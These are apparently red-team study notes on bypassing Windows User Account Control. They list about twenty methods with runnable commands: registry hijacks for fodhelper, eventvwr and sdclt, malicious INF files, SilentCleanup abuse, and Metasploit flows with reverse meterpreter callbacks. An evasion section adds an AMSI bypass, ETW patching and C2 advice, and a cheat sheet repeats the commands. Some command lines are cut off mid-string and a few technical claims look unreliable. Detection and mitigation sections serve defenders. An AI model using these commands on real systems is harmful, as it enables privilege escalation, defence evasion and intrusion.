```
================================================================================
            BYPASSING UAC - COMPLETE RED TEAM NOTES
                 Basic to Advanced | Commands Included
================================================================================
```

Table of Contents:

1. Foundations: Windows Security & Tokens
2. What is UAC & How It Works
3. Integrity Levels Explained
4. UAC Prompt Scenarios (The 4 Consents)
5. The 3 Conditions for a Silent Bypass
6. Methods Overview (UACME-style taxonomy)
7. Method-by-Method Guide with Commands
8. Automated Tools & Frameworks
9. Evasion & OPSEC Considerations
10. Detection & Blue Team Perspective
11. Mitigations
12. Cheat Sheet / Quick Reference
13. Lab Practice Ideas

1. FOUNDATIONS: WINDOWS SECURITY & TOKENS

When you log into Windows, the system gives you an ACCESS TOKEN. This token contains your identity and privileges:

- User SID (S-1-5-21-...-1001)
- Group SIDs (Administrators, Users, etc.)
- Privilege list (SeDebugPrivilege, SeBackupPrivilege, etc.)
- Integrity Level (IL) - critical for UAC
- Token type (Primary vs Impersonation)

TOKEN TYPES:
- Primary Token: assigned to a process, used for local access.
- Impersonation Token: attached to a thread, used to impersonate.

TOKEN ELEVATION TYPES (GetTokenInformation -> TokenElevationType):
- TokenElevationTypeDefault (1): UAC disabled OR member of built-in Administrators with "User Account Control: Run all administrators in Admin Approval Mode" = Disabled.
- TokenElevationTypeFull (2): Elevated (admin) token - the "consented" token. Member of Administrators AND UAC on.
- TokenElevationTypeLimited (3): Limited (filtered/standard) token. Member of Administrators but NOT elevated yet.

KEY POINT: A member of Administrators logs in with a FILTERED token (Limited). The full admin token exists but is not active. UAC is the gate between Limited and Full.

Check your groups: whoami /groups
Check privileges: whoami /priv
Check elevation type: whoami /elevatetype (Win10+) or via PowerShell: whoami | findstr Mandatory, plus TokenElevationType via P/Invoke.

2. WHAT IS UAC & HOW IT WORKS

User Account Control (introduced Vista/Server 2008) is NOT just a "pop-up blocker." It is an OS-wide access control framework:

a) Consent Prompt: asks the standard user (or admin) for consent.

b) Credential Prompt: asks for admin credentials (when run as standard).

Architectural components:

- LSASS (Local Security Authority) manages tokens.
- Consent.exe (C:\Windows\System32\consent.exe) shows the prompt UI.
- AppInfo service (C:\Windows\system32\appinfo.dll / svchost) mediates elevation. Apps request elevation via the "Elevation (ShellExecute) COM moniker" and AppInfo performs token adjustment.
- AutoElevation: some trusted system binaries can elevate WITHOUT a prompt. This is the attack surface for most UAC bypasses.
- File/Registry Virtualization: legacy 32-bit apps writing to %ProgramFiles% or HKLM\Software get redirected to %LocalAppData%\VirtualStore or HKCU\Software\Classes\VirtualStore.

How elevation normally works:

1. Unprivileged process calls ShellExecuteEx with runas verb, or CreateProcess with a manifest requiring administrator.
2. Application Information service (AppInfo) checks:
   - Is the requester allowed to elevate?
   - Does the binary pass auto-elevation checks?
3. If prompt needed -> consent.exe shows UAC prompt.
4. On consent -> AppInfo creates a NEW process with the FULL admin token. (The original process does NOT get upgraded.)

WHY THIS MATTERS: If a trusted binary auto-elevates AND can be influenced (registry, DLL, argument, working directory), we get code execution as High IL without any user interaction.

3. INTEGRITY LEVELS EXPLAINED

Mandatory Integrity Control (MIC). Levels (low -> high):

```
Untrusted    < Low < Medium < High < System
(S-1-16-0)     (4096)(8192) (12288)(16384)
```

- Untrusted/Low: sandboxes (IE Protected Mode, Chrome, AppContainer).
- Medium: standard user, non-elevated processes. Write access to most user-writable locations but NOT HKLM, NOT Program Files.
- Medium+: the "Admin Approval Mode" IL of an elevated admin that still has some restrictions (e.g., Explorer).
- High: elevated administrator processes. Full admin privileges.
- System: SYSTEM / LOCAL SERVICE / NETWORK SERVICE.

Check IL: whoami /groups (look for "Mandatory Label\High Mandatory Level" vs "Medium Mandatory Level")

RULE: You cannot write to an object with a higher integrity level, even if your DACL allows it. The Mandatory Access Control check happens AFTER the DACL check and can only DENY.

So even though you are in the Administrators GROUP with a Medium token, HKLM writes are blocked by IL. That's why "just being admin" isn't enough - you need an elevated (High IL) token to persist changes to machine-wide locations.

4. UAC PROMPT SCENARIOS (THE 4 CONSENTS)

Microsoft defines 4 UAC-related consent/policy settings (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System):

1. ConsentPromptBehaviorAdmin (default 5 = "Secure desktop", prompt

```
     on secure desktop for admin users)
     0 = Elevate without prompting
     1 = Prompt for credentials on secure desktop
     2 = Prompt for consent on secure desktop
     3 = Prompt for credentials
     4 = Prompt for consent
     5 = Prompt for consent on secure desktop
     240 = "Automatic denial of elevation requests"
  2. ConsentPromptBehaviorUser (default 3)
     0 = Automatically deny elevation requests
     3 = Prompt for credentials on secure desktop
  3. EnableLUA (1 = UAC enabled)
  4. PromptOnSecureDesktop (1 = prompt on secure desktop)

Bypass scenario summary:
  - Admin user, EnableLUA=1, PromptBehaviorAdmin=0: NO prompt on
    elevation. (Silent elevation, no bypass needed.)
  - Standard user, PromptBehaviorUser=0: denied silently.

For most UAC bypasses: target is an ADMIN user with UAC ENABLED
(ConsentPromptBehaviorAdmin >= 1). We are running as that admin but
LIMITED (Medium IL) and want a High IL token WITHOUT the prompt.

================================================================================
5. THE 3 CONDITIONS FOR A SILENT BYPASS
================================================================================

UACME (UACME by hfiref0x) documents that a successful silent UAC bypass
requires satisfying all THREE conditions:

  1. The request must come from a MEDIUM IL process running as the
     admin user (i.e., you already have code exec as that user).
     -> From a standard user you CANNOT bypass UAC (with rare/expired
        vulns). You need admin group membership first.

  2. The elevated process must be a Microsoft-signed binary that passes
     AUTOELEVATION checks.

  3. That binary must be configurable to load/run/influence attacker
     content (registry value, DLL, argument, COM class, etc.).

Condition 1 means UAC bypass is a POST-EXPLOITATION / privilege
ESCALATION technique from user->admin-elevated, not a
standard-user->admin technique.

================================================================================
6. METHODS OVERVIEW (UACME-STYLE TAXONOMY)
================================================================================

UACME (https://github.com/hfiref0x/UACME) groups techniques as:

  Type 1: AutoElevate + DLL Hijack / DLL Search Order
  Type 2: AutoElevate + Registry modification (via virtualization or
          writable path)
  Type 3: AutoElevate + known COM object abuse
  Type 4: Exploitation of legitimate auto-elevating binaries
          (fileless, via command line args / config files)
  Type 5: Elevated process acting on attacker-controlled data
  Type 6: Token impersonation / stolen elevated token (needs
          SeImpersonatePrivilege or SYSTEM - different category)

Famous named techniques (all Type 1-4):
  - Fodhelper (fodhelper.exe)      - Registry hijack HKCU
  - ComputerDefaults               - Registry hijack HKCU
  - EventViewer (eventvwr.exe)     - Registry hijack (mscfile)
```

```
  - SDCLT                          - Registry hijack HKCU Classes
  - CMSTP                          - INF hijack / COM hijack
  - mmc.exe                        - snapin / dll hijack
  - Control Panel items (control.exe) - various
  - Disk Cleanup (cleanmgr)        - scheduled task / registry
  - Package Manager (pkgmgr)       - INF
  - PresentationHost / WWAHost
  - Volmgr, Verifier, FsiUtil, etc.
  - Mock Trusted Directories (C:\Windows \system32\... with space) +
    create process from there
  - Token duplication of an elevated process (needs SeDebug)
  - App Hijacking via IFEO (Image File Execution Options)
  - COM Elevation Moniker abuse
  - SilentCleanup scheduled task (High IL from Medium via env var)
  - WSL / bash.exe auto-elevation quirks

All are valid on default Windows 10/11 except where noted as patched
or dependent on specific builds.
```

7. METHOD-BY-METHOD GUIDE WITH COMMANDS

```
Each method includes:
  - How it works
  - Requirements
  - Commands (PowerShell + cmd + Metasploit if applicable)
  - Cleanup
```

METHOD 1: FODHELPER.EXE (Windows Settings / ms-settings)

```
How: fodhelper.exe auto-elevates and reads HKCU\Software\Classes\
ms-settings\Shell\Open\command BEFORE HKLM. Hijack the command value.

Requirements: Win10/11 (all versions). Works even when other methods
are patched. Runs as High IL, no DLL needed.

PowerShell one-liner (commonly used):
  powershell -ep bypass -c "
    Start-Process cmd -Verb runAs
  "  # not needed - instead:

Classic payload staging:
    reg  add  HKCU\Software\Classes\ms-settings\Shell\Open\command  /d  'C:\Windows\System32\cmd.exe  /c
calc.exe' /
  reg delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f

With DelegateExecute (works on newer builds where command string alone
fails):
  reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /d "" /f
    reg  add  HKCU\Software\Classes\ms-settings\Shell\Open\command  /d  "C:\Windows\System32\cmd.exe  /c
whoami > C:
  fodhelper.exe
  reg delete HKCU\Software\Classes\ms-settings /f

Metasploit:
  use exploit/windows/local/bypassuac_fodhelper
  set SESSION <id>
  set PAYLOAD windows/x64/meterpreter/reverse_tcp
  set LHOST <ip>
  run

Nishang/PowerUp style:
  New-Item -Path HKCU:\Software\Classes\ms-settings\Shell\Open\command -Force
```

```
    Set-ItemProperty  -Path  HKCU:\Software\Classes\ms-settings\Shell\Open\command  -Name  "(default)"
-Value "cmd.
   New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\Shell\Open\command -Name DelegateExecute
-Value "
  Start-Process fodhelper.exe -WindowStyle Hidden

Cleanup:
  Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force

--------------------------------------------------------------------------------
```

METHOD 2: COMPUTERDEFAULTS.EXE

```
--------------------------------------------------------------------------------
How: computerdefaults.exe auto-elevates and reads the same
HKCU\Software\Classes\ms-settings registry path.

Commands:
    reg  add  HKCU\Software\Classes\ms-settings\Shell\Open\command  /d  "C:\Windows\System32\cmd.exe  /c
calc.exe" /
  reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /d "" /f
  computerdefaults.exe
  reg delete HKCU\Software\Classes\ms-settings /f

Metasploit:
  use exploit/windows/local/bypassuac_computdefaults
  (yes, "computdefaults" is the actual module name spelling)

Cleanup: same as Method 1.

--------------------------------------------------------------------------------
```

METHOD 3: EVENTVWR.EXE (Event Viewer - mscfile)

```
--------------------------------------------------------------------------------
How: eventvwr.exe auto-elevates and launches mmc.exe with
%windir%\system32\eventvwr.msc. It queries
HKCU\Software\Classes\mscfile\shell\open\command.

Commands:
     reg  add  HKCU\Software\Classes\mscfile\shell\open\command  /d  "C:\Windows\System32\cmd.exe  /c
calc.exe" /f
  eventvwr.exe
  reg delete HKCU\Software\Classes\mscfile /f

Metasploit:
  use exploit/windows/local/bypassuac_eventvwr

Note: May be patched on latest Win10/11; fodhelper is more reliable.

--------------------------------------------------------------------------------
```

METHOD 4: SDCLT.EXE (Control Panel / Folder)

```
--------------------------------------------------------------------------------
How: sdclt.exe (Backup and Restore) auto-elevates and reads
HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe
or Classes\exefile hijacks. Two variants:

Variant A (Folder):
         reg    add    HKCU\Software\Microsoft\Windows\CurrentVersion\App    Paths\control.exe    /d
"C:\Windows\System32\cmd.ex
    reg  add  HKCU\Software\Microsoft\Windows\CurrentVersion\App  Paths\control.exe  /v  "IsPathExe"  /t
REG_DWORD /d
   reg add HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe /v "UseUrlProtocol" /t
REG_DWO
  sdclt.exe
  reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe /f

Variant B:
  reg add HKCU\Software\Classes\Folder\shell\open\command /d "C:\Windows\System32\cmd.exe /c calc.exe"
```

```
/f
  reg add HKCU\Software\Classes\Folder\shell\open\command /v DelegateExecute /d "" /f
  sdclt.exe /KickOffElev
  reg delete HKCU\Software\Classes\Folder /f

--------------------------------------------------------------------------------
```

METHOD 5: CMSTP.EXE (Connection Manager Profile)

```
--------------------------------------------------------------------------------
How: cmstp.exe auto-elevates (when given a crafted INF with
RunPreSetupCommands). Uses COM hijack via
HKCU\Software\Classes\CLSID.

INF content ([version]:
  Signature=$Windows NT$
  [DefaultInstall]
  CustomCommandLine = cmd.exe /c calc.exe
  # Or using ActiveSetup / RunPreSetupCommands
  [DefaultInstall.Services]
  CustomCommandLine = ...
  RunPreSetupCommands = calc.exe

Simplified known-working INF:
  [version]
  Signature=$Windows NT$
  major=7
  minor=0
  SignatureNumber=1
  CatalogFile=cmstp.cat
  DriverVer=01/01/2020,1.0.0.0

  [DefaultInstall]
  CustomCommandLine=cmd.exe /c whoami > C:\temp\pwned.txt
  RunPreSetupCommands=command

Commands:
  # Create INF, then hijack CLSID
     reg  add  "HKCU\Software\Classes\CLSID\{74D13C22-XXXX-XXXX-XXXX-XXXXXXXXXXXX}\InprocServer32"  /d
"C:\Windows\
  # (use a real CLSID that cmstp queries, or use the INF-only method)
  cmstp.exe /s C:\temp\payload.inf

Easier fully-fileless variant (INF only, no registry):
  Write payload.inf with [DefaultInstall] CustomCommandLine.
  cmstp.exe /s payload.inf
  (cmstp auto-elevates due to INF signed manifest)

Metasploit:
  use exploit/windows/local/bypassuac_cmstp

--------------------------------------------------------------------------------
```

METHOD 6: MMC.EXE (Microsoft Management Console)

```
--------------------------------------------------------------------------------
How: mmc.exe is auto-elevating in certain contexts and can be pointed
at a hijacked MSC snapin, or abused via dll search order from a
working directory.

Classic:
  # Hijack for certain snap-ins
      reg   add   HKCU\Software\Classes\CLSID\{0F87369F-XXXX-XXXX-XXXX-XXXXXXXXXXXX}\InprocServer32   /d
"C:\temp\paylo
  mmc.exe -Embedding  (or a specific .msc)

--------------------------------------------------------------------------------
```

METHOD 7: MOCK TRUSTED DIRECTORIES

```
--------------------------------------------------------------------------------
```

How: Some auto-elevating binaries trust paths. Create a directory with
a SPACE trick: "C:\Windows \System32\" or "C:\Windows\System32 \". Place
a fake DLL there that gets loaded by a trusted process.

Commands (classic):
```
  mkdir "C:\Windows \System32\"
  mkdir "C:\Windows \System32\en-US\"
  # Place payload DLL (e.g., version.dll, or the DLL the binary loads)
  copy payload.dll "C:\Windows \System32\version.dll"
  copy payload.dll "C:\Windows \System32\en-US\version.dll"
  # Trigger
  "C:\Windows \System32\vertdll.exe"  # or other auto-elevating binary
```

Also: "C:\Windows\System32 \notepad.exe" style tricks for path
confusion.

Note: Works on specific builds; some paths are now blocked.

METHOD 8: SILENTCLEANUP (Scheduled Task - High IL)

How: The Microsoft\SilentCleanup scheduled task runs as High IL but as
the current user (not SYSTEM). It uses %windir% unquoted in an env
variable, allowing hijack:

```
  icacls C:\ /grant %USERNAME%:W  # not needed - use env var
```

Attack:
```
  set windir=C:\temp & cmd /c "schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I"
  # Where C:\temp\payload.exe is prepared. SilentCleanup then launches
  # the payload elevated.
```

Or via registry env:
```
  reg add HKCU\Environment /v windir /d "C:\temp\payload.exe &" /f
  schtasks /Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup"
  reg delete HKCU\Environment /v windir /f
```

Note: Pairs with payload placed as C:\temp\payload.exe.

METHOD 9: CONTROL.EXE / CONTROL PANEL ITEMS

How: control.exe with certain .cpl items auto-elevates. Hijack via
HKCU CLSID or a crafted .cpl.

```
  control.exe desk.cpl  (some cpl items elevated)
  # Or COM hijack similar to mmc
```

METHOD 10: TOKEN IMPERSONATION (SeDebug / SYSTEM)

How: If you have SeDebugPrivilege (usually from an already-elevated or
SYSTEM context, or a service), you can open an elevated SYSTEM/admin
process and duplicate its token, then impersonate.

Requirements: SeDebugPrivilege, or ability to open a High IL process.

PowerUp/PowerSploit style:
```
  # Find elevated process
  tasklist /V | findstr /i "high"
  # Use incognito (meterpreter)
  use incognito
  list_tokens -u
  steal_token <SYSTEM_pid>
```

PowerShell (with admin SeDebug):

```
  $p = Get-Process -Name explorer | Where-Object { $_.Path -like "*explorer.exe" }
  # Use P/Invoke OpenProcessToken + DuplicateTokenEx + ImpersonateLoggedOnUser
  # (see full C# snippets in PowerUp.cs)

Metasploit:
  getsystem  (tries various techniques including token impersonation)
  use exploit/windows/local/getsystem
  (Named pipes / named impersonation techniques)

--------------------------------------------------------------------------------
METHOD 11: IFEO (Image File Execution Options) ABUSE
--------------------------------------------------------------------------------
How: IFEO lets you set a Debugger for an executable. If an auto-elevating
binary has a debugger set, it runs YOUR binary instead, elevated.

Requires: ability to write HKLM\...\Image File Execution Options
(Medium IL CANNOT - needs High IL first, so this is more a persistence /
second-stage technique once you have some elevation, OR useful after
another UAC bypass).

   reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"
/v Debug
  # Trigger via sticky keys at login screen (pre-auth) - different use

--------------------------------------------------------------------------------
METHOD 12: COM ELEVATION MONIKER ABUSE
--------------------------------------------------------------------------------
How: COM objects registered with elevation moniker (Elevation:Administrator!new:{CLSID})
run elevated. If such an object accepts attacker-controlled data
(file path, script, etc.), we get High IL code exec.

Example: abusing IFileOperation or specific COM classes that write
files as High IL, then trigger.

PowerShell (example using Shell.Application + IFileOperation via
COM elevation):
  # Complex; typically implemented via C# or specialized tools.
  # PowerUp has helpers; UACME has PoCs for specific CLSIDs.

--------------------------------------------------------------------------------
METHOD 13: WWAHOST / PRESENTATIONHOST
--------------------------------------------------------------------------------
How: wwa host.exe / presentationhost.exe auto-elevate in some configs
and load XAML/browser content that can reference local files/DLLs.

--------------------------------------------------------------------------------
METHOD 14: PKGMGR / DISM INF
--------------------------------------------------------------------------------
How: pkgmgr.exe auto-elevates with an INF that runs arbitrary commands
via CustomCommandLine, similar to CMSTP.

  pkgmgr.exe /iu:"C:\temp\payload.inf"

--------------------------------------------------------------------------------
METHOD 15: WSL / BASH AUTO-ELEVATION QUIRKS
--------------------------------------------------------------------------------
How: On systems with WSL, certain invocations (bash.exe -c "...") have
historically run with elevated context or inherited tokens in ways that
could be abused. Build-dependent.

--------------------------------------------------------------------------------
METHOD 16: EXPLORER AUTO-ELEVATION / SHELL RESTART
--------------------------------------------------------------------------------
How: Restarting the shell in an elevated context, or abusing Explorer's
auto-run of elevated shell extensions.
```

METHOD 17: APPINFO / ELEVATION MONIKER DIRECT

How: Directly calling the Elevation COM moniker with a crafted CLSID
that bypasses consent checks (vulnerability-dependent). Rare and patched
quickly when found.

METHOD 18: DLL HIJACK VIA SEARCH ORDER ON AUTO-ELEVATE BINARIES

How: Many auto-elevating Microsoft binaries load DLLs from the current
directory or an insecure search path before System32. Place a malicious
DLL with the same name in a writable location the binary searches.

Common targets: version.dll, dwmapi.dll, etc. alongside:
- C:\Windows\System32\computerdefaults.exe
- C:\Windows\System32\fodhelper.exe
- C:\Windows\System32\control.exe
- PresentationHost.exe
- etc.

Process:
1. Use Process Monitor (procmon) with a filter on NAME OF EXE, look
   for "NAME NOT FOUND" for DLLs in writable paths.
2. Craft DLL exporting the expected functions (e.g., for version.dll:
   GetFileVersionInfoW, VerQueryValueW, etc.).
3. Place DLL in the search path the binary checks first.
4. Execute the binary -> auto-elevated, loads your DLL at High IL.

Tools: Process Monitor, DLL Hijack Audit tools, Silent-Profitnoy,
DLLHijackAuditor.

METHOD 19: SCHEDULED TASK CREATION FROM MEDIUM (via auto-elevate)

Some auto-elevating binaries allow creating scheduled tasks that run
as High IL without prompt.

METHOD 20: REGISTRY VIRTUALIZATION ABUSE

How: Legacy 32-bit apps get virtualized writes. If an auto-elevate
binary reads a virtualized key first... (mostly historical on Win10+).

==========

8. AUTOMATED TOOLS & FRAMEWORKS

==========

UACME (hfiref0x)
- The definitive reference: 70+ methods with source code.
- GitHub: https://github.com/hfiref0x/UACME
- Compile and run Akagi64.exe <method> [args]
- Study the source for each technique.

Metasploit Framework
Modules (partial list):
  exploit/windows/local/bypassuac
  exploit/windows/local/bypassuac_eventvwr
  exploit/windows/local/bypassuac_fodhelper
  exploit/windows/local/bypassuac_computdefaults
  exploit/windows/local/bypassuac_cmstp
  exploit/windows/local/bypassuac_sdi
  exploit/windows/local/bypassuac_apphelp
  exploit/windows/local/bypassuac_injection

```
    exploit/windows/local/bypassuac_dotnet_profiler
    exploit/windows/local/bypassuac_oobe
    post/multi/recon/local_exploit_suggester
  Example flow:
    msf6 > use exploit/windows/local/bypassuac_fodhelper
    msf6 (exploit)> set SESSION 1
    msf6 (exploit)> set LHOST 10.10.14.5
    msf6 (exploit)> set LPORT 443
    msf6 (exploit)> set PAYLOAD windows/x64/meterpreter/reverse_https
    msf6 (exploit)> run
    meterpreter > getuid
    meterpreter > getsystem   # optional, sometimes works post-bypass

PowerUp (PowerSploit)
  Invoke-AllBypasses / specific UAC checks and bypasses.
  GitHub: PowerSploit (outdated but concepts remain).

SharpUp (GhostPack)
  C# reimplementation of PowerUp checks, includes UAC checks.
  https://github.com/GhostPack/SharpUp

Rafael Nir's tools, UACME ports, various GitHub PoCs.

PowerShell scripts (various):
  Many single-purpose fodhelper/eventvwr/sdclt scripts exist. Verify
  before use.

================================================================================
9. EVASION & OPSEC CONSIDERATIONS
================================================================================

  - Registry writes to HKCU\Software\Classes\... are noisy. Monitor
    Sysmon Event ID 12/13 (Registry) and EID 1 (Process Create) for
    fodhelper.exe, computerdefaults.exe, eventvwr.exe.
  - Signed binary LOLBin execution: fodhelper.exe, computerdefaults.exe
    are signed by Microsoft. Blue teams should alert on their execution
    from non-interactive / unusual parents (powershell.exe,
    cmd.exe, wscript, etc.).
  - AMSI: powershell -ep bypass may be caught; use direct API calls or
    C# for in-memory execution, obfuscate registry key names via
    Base64/ROT13.
  - EDR: Behavioral rules look for: process spawned -> immediate
    registry write to ms-settings/mscfile CLSID -> LOLBIN execute.
  - Clean up registry keys IMMEDIATELY after use.
  - Prefer methods that leave fewer artifacts (DLL hijack with
    cleanup, token impersonation if possible).
  - Use HTTPS/Domain-fronted C2 for the elevated payload callbacks.
  - Test on the target build - many methods are patch-dependent.

Bypassing defensive tooling around UAC bypass:
  - AMSI bypass (before PowerShell script use):

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,
Sta
  - AMSI bypasses rotate; verify for your target.
  - ETW patching (EtwEventWrite return 0) for telemetry suppression.
  - Use alternative LOLBins to reduce signature hits (e.g., msbuild,
    installutil, regsvcs) after elevation for the payload itself.

================================================================================
10. DETECTION & BLUE TEAM PERSPECTIVE
================================================================================

  Sysmon:
```

```
    EID 1: Process creation - alert on fodhelper.exe, computerdefaults.exe,
      eventvwr.exe, sdclt.exe, cmstp.exe, mmc.exe spawned by non-standard
      parents (cmd, powershell, wscript, cscript, mshta).
    EID 12/13: Registry - HKCU\Software\Classes\ms-settings,
      mscfile, Folder\shell, CLSID writes.

  Windows Event Logs:
    Security EID 4688: Process creation with command line.
    Security EID 4670: Permissions changed on objects.
    Security EID 4672: Special privileges assigned (High IL).
    Microsoft-Windows-AppLocker/EXE and DLL.
    Microsoft-Windows-Windows Defender/Operational.

  ETW providers: Microsoft-Windows-Kernel-Process,
  Microsoft-Windows-Shell-Core.

  AppLocker / WDAC: Block fodhelper.exe, computerdefaults.exe etc. from
  being spawned by user-writable paths. Constrain Language Mode.

  AMSI: Hook PowerShell and script engines.

  HIPS rules: Block registry writes to known UAC bypass keys from
  Medium IL processes.

  Recommended detections:
    - Alert on any HKCU\Software\Classes\ms-settings\Shell\Open\command
      creation.
    - Alert on fodhelper.exe / computerdefaults.exe execution with
      parent != explorer.exe / consent.exe / svchost.exe.
    - Alert on SilentCleanup task triggered by user context with env
      variable modification.

================================================================================
11. MITIGATIONS
================================================================================

  - Disable UAC entirely? NO - that's worse. Keep EnableLUA=1.
  - Set ConsentPromptBehaviorAdmin to 2 or higher (always prompt,
    secure desktop) in sensitive environments.
  - Remove users from local Administrators group where possible.
  - Apply vendor patches promptly (many bypasses get patched).
  - Deploy AppLocker / WDAC / SRP to constrain LOLBin execution.
  - Enable Credential Guard / LSA Protection where applicable.
  - Use Windows Defender Application Control (WDAC).
  - Deploy an EDR with registry + process lineage monitoring.
  - Disable unnecessary LOLBins (fodhelper, computerdefaults, cmstp).
  - Monitor Scheduled Tasks (SilentCleanup abuse).
  - Constrained Language Mode in PowerShell.

Note: UAC is NOT a security boundary Microsoft promises to maintain
against elevation - it's a mitigation. Many "bypasses" are by-design
behaviors, not CVEs.

================================================================================
12. CHEAT SHEET / QUICK REFERENCE
================================================================================

Pre-check:
  whoami /groups | findstr /i "mandatory"    (check IL)
  whoami /priv
  net user <user> /domain | findstr /i "admin"

Silent bypass (High IL payload):
  # Fodhelper
  reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c calc.exe" /f
```

```
  reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /d "" /f
  fodhelper.exe
  reg delete HKCU\Software\Classes\ms-settings /f

  # ComputerDefaults
  reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c calc.exe" /f
  reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /d "" /f
  computerdefaults.exe
  reg delete HKCU\Software\Classes\ms-settings /f

  # Event Viewer
  reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe /c calc.exe" /f
  eventvwr.exe
  reg delete HKCU\Software\Classes\mscfile /f

  # SDCLT
  reg add HKCU\Software\Classes\Folder\shell\open\command /d "cmd.exe /c calc.exe" /f
  reg add HKCU\Software\Classes\Folder\shell\open\command /v DelegateExecute /d "" /f
  sdclt.exe /KickOffElev
  reg delete HKCU\Software\Classes\Folder /f

Metasploit quick:
  use exploit/windows/local/bypassuac_fodhelper
  set SESSION 1
  set LHOST <ip>
  run

UACME quick:
  Akagi64.exe <method#>
  (see UACME README for method numbers)

Verify success:
  - calc.exe spawns as High IL (check with Process Explorer /
    Task Manager -> Integrity column / whoami in the new shell).
```

13. LAB PRACTICE IDEAS

1. HTB Academy "Bypassing UAC" module (where you started).
2. TryHackMe UAC rooms.
3. Build a local Win10 VM, enable UAC, create a standard admin user, get a Medium IL shell (via low-priv foothold), test each method.
4. Use Process Monitor to find NEW dll hijacks on latest Win10/11.
5. Replicate UACME methods manually without the tool.
6. Write your own C# P/Invoke fodhelper bypass for OPSEC.
7. Detect your own bypasses with Sysmon config (attackteammate).
8. Port a method to Cobalt Strike Aggressor script / BOF.

GLOSSARY

IL	- Integrity Level
MIC	- Mandatory Integrity Control
LOLBin	- Living Off the Land Binary (signed MS tool abused)
AutoElev	- Binary that elevates without prompt
UACME	- Open source UAC bypass collection by hfiref0x
fodhelper	- "Features on Demand helper" - Win10+ settings binary
DelegateExecute	- COM registration attribute enabling elevation
AppInfo	- Service mediating elevation requests
LSASS	- Local Security Authority Subsystem Service
IFileOperation	- COM interface used in some elevation paths
IFEO	- Image File Execution Options (registry debugger key)
SilentCleanup	- Scheduled task running with High IL, user token

==========

END OF NOTES

==========